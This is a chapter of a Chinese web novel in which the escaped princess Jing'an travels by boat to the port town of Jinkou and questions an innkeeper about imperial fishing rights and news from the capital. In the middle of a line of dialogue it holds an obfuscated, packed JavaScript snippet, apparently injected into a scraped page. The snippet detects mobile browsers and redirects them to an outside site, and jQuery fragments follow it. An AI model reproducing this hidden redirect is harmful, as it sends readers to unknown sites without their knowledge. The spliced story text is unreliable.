静安换好衣服掀开马车帘子,三人已经到达目的地,沈珏小心将静安扶下马车,带着她来到岸边。
商船点了夜灯,衬得水面格外平静,涟漪一圈一圈荡开,河风吹着帆布发出柔软的声音。
岸边有不少人等着上船,沈珏主动和船主交涉,不一会儿便得到了登船许可。
“走吧文小姐。”沈珏轻轻地推了推静安,“一路顺风,别忘了给我写信。”
静安站在船边,回头看沈珏,他似乎在笑。
晚风夹杂着沈珏温柔的声音,吹到静安耳边,她听见他说:“再见,我的公主殿下。”
静安突然想说些什么,说点离别或者感谢的话?说沈珏陪着自己的这段日子,是母亲去世后,最开心的时光?还是问沈珏,打算什么时候,离开京城这个是非之地?还是担心,如果自己出逃被发现,他怎么办?
但静安一个音节都发不出,几次欲言又止,都随着船夫的吆喝,驶进浓重的夜色里,渐渐走远了。
沈珏花大价钱定了上房,即使如此,对于第一次坐船的静安而言,还是摇摇晃晃睡得不舒服。
好在小夕手脚麻利,洗浴和用餐都直接送到房间里面,静安过意不去,扒拉着让人坐下:“没事小夕,你不用忙前忙后的,我等下出去找管事的拿,你坐下吧。”
小夕沉默了一下,随即避开静安的手,语气淡淡道:“沈公子命我护你周全,到了吴州,将卖身契还我。”
静安稍微有些尴尬,讪讪收回了手;“会给的,我到了就给你。”
“文小姐记得就行。”小夕说完,头也不回地离开了。
静安起身来到窗边,上房风景好,河风带着深秋的萧瑟,卷进房内。
天色渐晚,但江上还有稀稀拉拉的渔船赖着不肯走,一遍又一遍地抛起渔网,但还是一无所获。
静安心里疑惑,今年渔业收成不行吗?
商船渐渐驶远,静安突然觉得自己在深宫太久了,虽能时常听到外面发生的事情,但总归是轻飘飘的。
对于静安,卖身契只是一张废纸,但对于小夕,卖身契是束缚她一生的物件。
商船轻飘飘地过去,但对渔民来说,这是今天的口粮。
静安虽然理解,但这样被甩脸色,任谁都开心不起来。
商船很快到达锦口,静安在码头张望,人影晃来晃去,静安在人群中搜寻镖局图案,半晌才瞅到一个斜靠在凉亭里的中年男人。
男人一身麻衣,手臂弯弯扭扭的缠绕着破布,似乎是累极,带有镖局图案的抹布盖在脸上,就这么沉沉的睡了过去。
静安拿着信物,思索将他叫醒是不是不太好,进退两难之间,男人惊醒,猛地坐起,警觉看着周围。
静安和小夕被吓了一跳,猛地往后缩了一下。
“哎哟,文小姐吧。”男人眼尖地瞧见静安手里的信物,殷勤地上前打招呼,静安一时间没反应过来,僵在原地。
男人见状有些尴尬,低头看着自己邋遢的布衣,胡乱抹了把脸,拍了拍包浆的衣服,弯腰笑道:“小姐莫怪,您看看我这,一个不小心就睡着了,您到多久了?落脚的客栈已经备好,您先歇着?”
静安回神,连忙去扶;“没事没事,我也是刚到,这是信物。”
男子笑眯眯地接过信物,领着静安往客栈走去。
“文小姐,您今晚先在客栈歇着,明早咱们走官道过襄州,不出半月便可到吴州。中间咱们在襄州歇脚,您觉得怎么样。”
“都可以,随咱们镖局定,麻烦大哥了,大哥怎么称呼?”
“小的姓许,许大壮。文小姐客气了,小姐是京城的贵人,沈公子和文小姐照顾咱们镖局,咱们肯定要尽心尽力。”
静安没有理会他恭维的话,而是顺势问道:“许大哥是如何识得沈公子?”
“哎哎,大哥不敢当,沈公子心善,小人常年往返中原与北地运货,有几次送货到沈家,承蒙沈公子信任,这才有幸见到小姐。”
静安一路和许大壮聊天,锦口是港口城镇,人流量大,静安一路跌跌撞撞挤到客栈,已经是筋疲力尽,店小二热情迎了上来,一阵嘘寒问暖。
许大壮将行李拿到楼上,店家奉上茶水,静安边喝边休息,客栈位置绝佳,一楼的窗景也十分惬意,静安给许大壮倒了杯茶水,示意他坐下一起休息。
许大壮连连摆手:“哎呀文小姐你先歇着,小的们都在附近守着,这是信号弹,有危险您就拉一下。等咱们平安度过今晚,赶明个早上我来接您。什么东西都可以吩咐小二,记沈公子账上。那您先歇着,小的告辞。”
许大壮将信号弹放到桌子上,便头也不回地离开了,静安想叫住他,可人已经跑出前门大街了。
静安一路晕头转向,也顾不上他,只得先坐下休息,店小二端上小食点心,样样都是静安爱吃的。
“小二,这是?”静安指着点心,有些疑惑。
店家一脸谄媚:“这是沈公子交代的,文小姐看看合不合您的口味。”
静安抬手想结账,但被小二连连拒绝,“沈公子已经结了,贵人您好生住着就行。”
静安已经不知道这是今天第几次听到沈珏的名字了,只得感叹他实在心细。
苦笑后,往小二手里塞了点赏钱。
“与旁人无关,我初到锦口,看着街道繁华,很是热闹啊。”初出宫城,静安对于外界的一切都很好奇。
跑堂小哥十分上道,当即打开了话匣子:“咱们锦口虽不是重镇,但人杰地灵位置绝佳啊,不只往来客商,锦口可是有官道的,天南地北只有你想不到,没有咱们锦口到不了的地方。”
“这样啊,怪不得如此繁华。”静安漫不经心地盯着窗外。
小二拿不准静安的心思,只得继续找话头说下去:“要说咱们酒楼,那可是锦口数一数二的,像贵人您选我们是绝对放心。小店不仅服务好,还特意找来京城酒楼的大厨,我跟您保证,全锦口您找不来第二家。”
“而且贵人您看,过旁边那巷子,便是咱们中原最有名的点心铺子,胭脂水粉,丝绸银器,贵人您无聊了去逛逛,说不定,哎,就看到自己喜欢的了。”
静安朝小二指的方向看去,果然商铺林立,大部分都是赶路客商的家眷,逛街打发时间。
静安点头,算是默认了小二的介绍:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315448|182973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所以咱们锦口还是行商为主,可我看这水网密集,想来渔业也应当不错,怎么没有在你们店招牌上看到鱼呢?”
静安指着桌上的木制菜单,小二连忙解释:“哎哟,贵人您少来咱们这,锦口是水多,那河里的鱼啊,肥美无比,可那是天家的鱼啊。”
“咱们这里是大长公主的封地,只有圣上钦点的皇商才能捕捞,都是要进贡到宫里的。锦口市面上流通的时令鱼,大多是其他水域或者……黑市上买的。咱们小店正经生意,怎么会违背皇命呢?”
静安被小二的话逗笑了:“皇命,难道这锦口,还能听到京城的皇命不成。”
小二毕竟是普通人家,扯到皇命也不由得紧张起来:“贵人您真会开玩笑,这上头说的,可不都是皇命。而且您别看锦口虽小,这京城的消息,这边也是知道得清清楚楚。”
静安往身后一靠,终于等来了自己想要听到的消息:“那你说,最近京城都有什么消息。”
小二脑袋一拍,冥思苦想许久:“嘶,哎呀,贵人您真是问住小的了。这几日来往客商,也没听到什么大事。无非是那家小姐和那家公子结亲,谁家风流王爷,谁家多情郡主这种旁门八卦罢了。”
见小二这里打探不出什么有效信息,静安便收了口,笑着塞给小二些碎银:“劳烦晚些将饭菜和沐浴送到我房里。”
小二喜滋滋地接过钱,满口答应。又看了看一旁的小夕:“沈公子订房时只交代了一间上房,这位小姐是?”
静安想开口说和她一样,让小二把账算在自己身上。
结果小夕抢先开口道:“普通的能睡就行。”
“好嘞。”小二美滋滋地接过赏钱,“您二位等下歇好了叫我,我再给您上些时令瓜果来。”
店小二离开,许大壮也不在,小夕坐着一言不发,静安顿感无聊,随意交代了几句便出门了。
按照刚刚店小二的说法,京城并没有传出她逃出皇宫的消息,甚至辽国使者进京,青州起义这种,都不及寻常情史在百姓口中的流传度高。
静安戴上面纱,漫无目的地在街上闲逛,她想尝尝小二推荐的那家点心铺子,看看到底有多好吃。
静安走到一半,意外在铺子口发现许大壮的身影。
他脸上堆着笑,似乎在询问老板什么,静安走上前去,听到许大壮说:“老板,买这么多梅花糕,又没什么优惠,能不能送点什么啊。”
铺子伙计满脸横肉,笑得有些敷衍:“许大哥,咱们都是老熟客,这价格已经是最低的了,东家又不在,我这边做不了主啊。趁着热乎,您就赶紧拿回去让丫头尝尝。”
许大壮揣着油纸包悻悻离开,他身边跟着另一个中年男人和一名少年,男人手搭少年肩膀上,正嘻嘻哈哈讲些什么,少年则是一脸阴沉,黑着脸往前走。
静安看着奇怪的三人,思考要不要去打招呼的时候,三人已经快步走远了。
静安抬脚走进店内,店员见她衣着不凡,急忙迎了上来。
“小姐是来看我们家的哪款点心,最近有时令菊花,不知小姐是买来给家里人还是?”
静安没有接话,左右打量着店内装潢。